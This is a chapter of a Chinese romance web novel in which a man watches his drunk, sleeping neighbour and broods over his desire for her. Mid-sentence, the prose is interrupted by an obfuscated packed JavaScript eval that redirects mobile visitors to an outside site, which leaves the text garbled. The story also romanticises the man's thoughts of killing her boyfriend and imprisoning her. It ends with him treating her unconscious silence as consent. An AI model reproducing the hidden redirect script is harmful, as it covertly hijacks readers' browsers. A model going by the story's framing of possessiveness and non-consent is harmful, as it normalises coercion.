24.占有
作品:《风登》 郁烟其实根本就没醉。
她不过是在打着喝醉的借口故意试探他。
这样的话,无论有与没有,成与不成,最差的结果无非用一句“啊?我当时喝多了,都不知道自己说了什么”就能带过。
对她来讲没有任何影响。
但陈竞航不这么想。显而易见,他以为她是酒量变差了,经不住喝这么猛,一下子上了头。
正好饭吃的差不多,旧也叙的差不多,他便跟他们提出要先送她回家,等下再继续去酒吧续二场。
四个人自然没有异议。
甚至男生A还贴心的给了他两个塑料袋,防止她在路上吐。
迈出餐厅,坐上出租车,一直到回观海听澜,她的神志都还是清醒的,只有一点点微醺感萦绕在脑中。她半倚到卧室的窗边,手指中的白烟在黑暗中明灭出细微的火光,眼睁睁的看着陈竞航又上了那辆出租车,消失在视野中,她才敛眸笑笑。
捻掉烟,换了身没味道的衣服,走去隔壁。
隔壁花园里的几盏引路灯是亮着的,客厅里却不见一点有人存在的痕迹,为了保险起见,郁烟甚至上楼梯时还故意瞥了眼车库,看见里面空空荡荡的,什么都没有,她才完全放下心来。
在密码锁上输入密码,进门。
客厅里面静悄悄的,时不时传来道细微的声响,郁烟注意着脚下,慢慢摸到沙发旁,摁开那盏不算明亮却足够令视野清晰的小吊灯。
灯一开,她这才看清——
薯饼不知道什么时候悄悄的跟在她脚后。
见她在沙发上坐下,它也十分自觉的跳上沙发,慢慢踩到她腿间,冲她软软呼呼的“喵”了声。
她的心一下子就化了。
“诶哟,薯饼,感觉你这段时间长胖了不少欸,”郁烟卡着她的两只前脚将她拎到眼前,观察它逐渐长出新毛的肚皮,“被剃掉的毛也长出来不少,真是越来越好看了。”
薯饼大概是听懂了她在夸它。
老老实实的伸展腿,也不挣扎,就一个劲儿的盯着她看。
她拎着它左看看,右瞧瞧,确定身上的伤口都恢复的差不多了,才又把它放回腿上,摸着它脑袋上的软毛。
它听话的窝在她腿上,任由她“蹂躏”它。
“你的孩子们呢?睡觉了?”
“......”
“喵~”
“啊~喵~那估计就是睡了,也听不到动静。宋栖寒呢?他今晚没回来照顾你们吗?”
薯饼应该是理解不了“宋栖寒”这个词,就昂着脑袋看她,没有回应。
郁烟也不指望它真的能回答她的问题。
她左右环顾了一圈儿,感觉怎么看怎么都不像他今晚回来过的样子,还以为它们一直饿着肚子饿到现在,不由的想站起身,去给它们添猫粮。
却未成想。
刚一抬眼皮,就瞄见不远处的猫碗被人换成了自动猫粮机。
里面还有不少没吃掉的猫粮。
又靠回沙发里。
“哦,原来他给你们买了自动猫粮机啊,”她继续自言自语的跟薯饼说话,“还挺细心一男的。”
薯饼这次听懂了。
往她怀里钻的同时,再次“喵”出声。
也不知道是环境过于美好而有安全感,还是薯饼在身边陪着让她感觉到内心放松,她靠着靠着,感觉头越来越晕了。
像是一闭眼就能随时睡过去。
她想回家去睡觉,可又觉得才刚过来没一会儿,它这么久没见她肯定想她了,想多粘她一会儿,又有点舍不得就这么走。
于是在心里跟自己说——
“就躺沙发上眯一会儿,就一小会儿,等等感觉稍微好点了肯定第一时间回家。”
这么哄着,也真这么信了。
她抱着薯饼,侧着倒到沙发上,任由大脑逐渐混沌。
慢慢失去了意识。
......
宋栖寒洗好澡下来。
刚走到二楼拐一楼的楼梯口,就猛然察觉到不对劲儿——
他一个人在家基本都不开灯,全凭良好的视力摸黑行走,更别说他今天回来的早,日头还没完全下山,就更没有开灯的必要了。
可是现下,客厅的灯却影影绰绰的亮着。
他心里“咯噔”一声。
随即升腾起一阵连自己都意识不到的期待。
他放轻脚步,一节一节的踩下楼梯,朝客厅看。一眼就看到躺在沙发上毫无动静的郁烟。
以及她怀里安分无比的薯饼。
说起来也奇怪。
在她不在的时候,薯饼总是不让他抱的,顶多心情好的时候会让他帮它上药,摸一摸它,但是大多数时候,它都是一只猫默默窝在沙发上,脑袋朝着门的方向发呆,不叫,也不理他。
跟面对郁烟时的态度可谓是天差地别。
但好在他也不是个感情泛滥、非要有人陪才觉得可以的人,基本都是它发它的呆,他做他的事情,一人一猫互不相干的过日子。
可现下。
他俯视着沙发上呼吸平稳的郁烟,心里突然萌生出一个狂妄的念头——
如果可以的话,他也想像薯饼一样粘着她。
被她亲亲抱抱,温柔对待。
被她。
爱。
这个念头刚一冒出来,就吓了他一跳。他不自然的滚动喉结,逼迫自己把视线从她姣好的面容上移开,不再去看。
他几乎是狼狈的快步走到岛台后,接了杯凉水。
仰着头咕咚咕咚全都灌下去,试图用冰冷的液体冲刷他滚烫的身体,唤醒他过于不对劲儿的神智。
可是等了好半天,身体不仅没有冷却下来,反而更烫了。
与此同时。
他的心跳越来越快,越来越响。
在这方诺大却寂静的角落里快速鼓动出震耳欲聋的节奏,如擂鼓,似响雷,躁动了一整个旖旎缠绵的夜。
窗外皎洁透亮的月光穿过窗子照射进来,将他半张晦暗的脸照的无处可逃,他撑在大理石岛台上的手臂攀蜷起骇人的青绿色脉络,一直从肱二头肌爆胀到手背,看上去随时可能绷开皮肉,炸裂开来。
微微低下的头颅极好的掩盖了他不断翻涌的双眼。
皮质沙发上的郁烟却对此一无所知。
大抵是薯饼身上的毛太多太厚,略带瘙痒的同时又汲汲不断的朝她输送着热源,她有些受不了。
本就被酒精因子搞得有些燥热的身体变得更加敏感,再受不了一星半点多余的热意,她手不老实的扒拉着,遵从本能的想把热源从身边弄开。
薯饼被她的举动吵醒。
一个没注意间,它被她扒拉去一边儿,差点掉到沙发底下。
她似是还觉得不够,翻身向沙发内侧睡的同时,将上衣的衣摆搂到胸口,露出大半的瓷白春光。
宋栖寒捕捉到声音,以为她醒了,刚打算问她怎么这么晚过来。
不想。
一抬头,目光就对上她莹润白皙的肚子。
他:......
青筋充血充的更厉害,不止手臂,就连脖子和额头都爆起粗细无规则的线条。他感觉浑身上下的血液都在一齐往脑袋里倒灌,灌的他快要难以呼吸。
他实在有些受不了这种
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604452|168774||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
感觉。
倍觉难堪的闭上眼睛,强制自己不再往她那边分一点余光的摸过烟盒,抖着手搓燃火机,给自己点上。
雾气四散间,他粗重的呼吸稍有平缓。
心却跳的更快了。
他自欺欺人的转过身体,背对着她靠坐在岛台边,抬头盯着窗外那轮洁白无瑕的月,似是要将它看出个花儿来。
尽管已经很努力的让自己不要去想郁烟,就当作她不存在,可他的神经还是不受控制的在大脑内将刚刚窥见的那抹春光完整又真实的勾勒出来,深深的印刻在他的脑海中,无法被压下。
他无力的闭上双眼,狠狠吸了口烟。
屋内又恢复了死一般的寂静,除了他的呼吸声,再没有其他声响,他闭着眼睛,脑袋里迅速的闪回着他根本没有办法忘记的片段——
她冲着陈竞航笑,她托着下巴看他,她叫蒋明轩“babe”,她被陈竞航揽着走,她拒绝他的蛋挞,她跟蒋明轩吵架,她在故宫博物院晒太阳,她质问他乱动她的港澳通行证,她阴阳怪气他,她问他是不是喜欢她......
一切的一切。
最终都定格在她来医院找他,给他糖吃的画面上。
喜欢吗?
他也不确定。
唯一能够确定的是:她是他灰暗生活中为数不多的一抹光,是在他浅薄又没有被人爱过的过往中唯一一个带给他温暖和关心的人。
更是,他不想失去的人。
其实他本来可以接受这没有爱的一生的。
可她却偏偏让他见识到了什么叫爱。
并且迷恋上了那种感觉。
这让他根本没有办法幻想或是接受任何可能会失去她的情形,只要一想,他就有些控制不住自己骨子里的暴戾,想做出一些危险的事情。
比如杀了她男朋友,比如把她囚禁起来。
再比如......
但他又舍不得真的去伤害她,让她难过。
就只能装作云淡风轻,然后慢慢渗透进她的生活里。
让她逐渐习惯他的存在。
这么想着,宋栖寒吐出口浊气,掩下眼底翻腾的情绪。他随手将烟蒂捻灭在烟灰缸里,去楼上给她拿了条毯子下来,想给她盖在身上,避免她着凉感冒。
在毯子接触到她肚子的时候,她突然烦躁的挥动双手。
抗拒毯子跟她接触。
她一边扒拉毯子一边呢哝不清的讲着醉话。
她说:
“滚开,陈竞航,我不要盖。”
“你快去给我找炮·友。”
“我要...要...24岁,1米88,天蝎座,家里有钱,嘿嘿,还有一身冷白皮腱子肉的那种阴郁男。”
“你快去找啊!”
她说的倒是痛快,一点都没察觉到给她盖毯子的宋栖寒整张脸都已经阴了下去。他的神情阴鸷,沉郁,像极了风雨欲满楼之前的乌云密布,压的人透不上气来。
他才刚哄好自己,决定跟她慢慢来。
结果她倒好。
在他不知道的地方,她已经着急的让陈竞航给她找se·x partner了,而且还没有把他列进备选名单里,哪怕只是作为一个随时都可能被淘汰的备选选项。
这让他无论如何也不能接受。
刚刚被压下去的暴劣再也没有理由躲藏,宋栖寒冷着脸扔掉手里的毯子,单腿屈跪在她腿边的沙发上,用一种阴沉的能滴出水的声音蛊惑她。
他抚摸上她的脸,理智全无的说:
“郁烟。”
“选我好不好?”
“不说话我就当你默认了。”